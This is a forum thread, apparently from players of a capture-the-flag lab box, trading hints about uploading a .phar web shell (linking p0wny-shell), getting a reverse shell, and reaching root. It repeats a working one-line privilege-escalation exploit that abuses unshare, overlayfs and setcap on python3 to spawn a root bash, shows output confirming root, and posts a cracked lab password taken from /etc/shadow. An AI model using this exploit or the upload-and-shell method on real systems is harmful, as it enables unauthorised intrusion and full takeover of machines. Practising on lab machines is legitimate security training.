[bigdwarf123]

I'm able to upload .ps1 files but when I access them at /uploads/shell.ps1 they don't execute, the browser just prints the script in clear text. Anyone know what to do about that?

same for me.
I can also upload php as .phar and it is run when I call /uploads/cmd.phar, but it is really limited in what it can do...

https://github.com/flozz/p0wny-shell
use this shell as .phar

Then stabilize your shell...

yes you can find mysql creds and after revers shell enter it

---

there are two ips if you look at the interfaces.
192.168.5.1
192.168.5.2

I saw them, and assume we're in a docker container of sorts
still looking to become a doctor in the container...

I don't think this is a docker container, if this was a docker container there would be a .dockerenv file

[take1312]

get root in the limited shell/ container
via


unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;

setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash -i")'

[peRd1]

get root in the limited shell/ container
via


unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;

setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash -i")'

Ubuntu POC game overlay shit works.

[take1312]

get root in the limited shell/ container
via


unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;

setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash -i")'

Ubuntu POC game overlay shit works.

which one did you use? 

https://www.reddit.com/r/selfhosted/comm...e20232640/

[take1312]

get root in the limited shell/ container
via


unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;

setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash -i")'

It's exiting right after running that command.
bash: cannot set terminal process group (968): Inappropriate ioctl for device
bash: no job control in this shell
root@webserver:/var/www/html/uploads# exit

root@webserver:/var/www/html/uploads# exit

you were root already. congratz its running for you. my machine was reverted and ca´t get it working again. if you find something keep me posted please

[take1312]

got drwilliams ssh credentials

[chillywilly]

got drwilliams ssh credentials

in all the github/go folders?

[bigdwarf123]

got drwilliams ssh credentials

in all the github/go folders?

/etc/shadow

[take1312]

password is

qwe123!@#

gl folks i´m out machine reverting every 10 mins. dam apes

[nenandjabhata]

Hello i need nudge for foothold user